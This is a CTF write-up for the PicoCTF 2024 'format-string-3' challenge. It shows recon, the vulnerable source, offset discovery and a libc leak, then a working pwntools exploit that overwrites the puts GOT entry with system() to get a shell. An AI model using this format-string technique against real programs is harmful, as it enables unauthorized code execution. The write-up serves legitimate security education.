Files
xami.dev/writeups/2025-08-27-fmt3.md
2025-12-29 11:01:12 +01:00

184 lines
6.6 KiB
Markdown

---
title: "PicoCTF 2024: format-string-3"
excerpt: "Overwriting a GOT (Global Offset Table) entry using a format string vulnerability to get a shell on a 64-bit x86 target"
tags: [ctf, pwn]
---
## Recon
This challenge was given along with a libc and and interpreter file:
```
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
$ file ld-linux-x86-64.so.2
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped
```
We can see that the main binary uses the interpreter given in the current folder. Taking a quick look at the protections, we see that PIE is enabled on the libc, but not on the main binary. Also, the challenge does not have Full RELRO on the main file:
```
➜ fmt3 venv
$ checksec format-string-3
[*] '/home/qelal/PicoCTF/fmt3/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ checksec libc.so.6
[*] '/home/qelal/PicoCTF/fmt3/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
```
That is quite interesting. We can now take a look at the source code:
```c
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() { // setting up the chall }
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
```
Two interesting things here:
- the first is that there is an obvious format string vulnerability on the `printf(buf)` call, which allows for arbitrary read/write as we know;
- the second is that we call `puts()` on `/bin/sh`.
Of course showing `/bin/sh` to the screen isn't nefarious, but we can take advantage of this argument placement and change `puts()` to something else..
The idea here is that we will have to overwrite an entry in the GOT, to change the `puts("/bin/sh")` call to `system("/bin/sh")` and get a shell.
## Finding the stack user input offset
First we'll see where our user input ends up on the stack, by writing a noticeable "A" chain and then spamming `%p` format specifiers until we get there:
```
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f833ed353f0
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
AAAAAAAA0x7f833ee93963.0xfbad208b.0x7fff4c619340.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
/bin/sh
```
It seems to be at position 38. Just to be sure:
```
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f48bdb1b3f0
AAAAAAAA%38$p
AAAAAAAA0x4141414141414141
/bin/sh
```
Yep, that is our offset.
## Leaking libc addresses
One thing we notice from the program's behavior is that it gives us the address for a random C function, `setvbuf`. It is not really useful for us in itself, but we can use this knowledge to leak the libc base address, or directly another function's address.
I chose not to bother with the libc base here, and go straight for `system()`.
So, from static analysis on the `libc.so.6` file, we can find the offsets for `setvbuf` and also for `system`:
```
.text:000000000004F760 system proc near ; DATA XREF: LOAD:000000000000B160↑o
[...]
.text:000000000007A3F0 setvbuf proc near ; CODE XREF: setlinebuf+D↓j
```
We have both offsets. Knowing this, we can establish the difference between those two symbols, and get the address we want from `setvbuf`'s leak:
```
difference = 0x7A3F0 - 0x4F760 = 0x2AC90
system() = setvbuf() - 0x2AC90
```
Perfect! Now when the program will leak `setvbuf`, we will simply catch the address, and derive `system` from it.
## Finding puts in the GOT
The last information we need for the exploit to succeed is the address of `puts`. We can find it using dynamic analysis with Pwndbg: breaking when we're in the program and noting the address from here:
```
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/qelal/PicoCTF/fmt3/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e59bf0 (puts) ◂— endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e36250 (printf) ◂— endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57d40 (fgets) ◂— endbr64
```
So, in the GOT, `puts` is at `0x404018`. No PIE so it stays the same everytime.
## Automating the format string exploitation
Now we know that we have to write the address for `system` (that we leaked), instead of `puts`, at offset 38 on the stack. Writing a manual exploit is long and boring (although it's important to grasp the knowledge of how the format string arbitrary write works, but once you've done it, I'd consider using the automated helper from Pwntools to save some time) so we'll go with `fmtstr_payload`:
```python
io = start()
io.recvline()
setvbuf_addr = int(io.recvline().split(b"libc: ")[1].strip(b'\n'), 0)
system_addr = setvbuf_addr - 0x2AC90
puts_plt_addr = 0x404018
payload = fmtstr_payload(38, {puts_plt_addr: system_addr})
with open("payload", "wb") as file:
file.write(payload)
io.sendline(payload)
io.interactive()
```
And finally we get our shell:
```
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1a bytes:
b'picoCTF{G07_G07?_[REDACTED]}'
```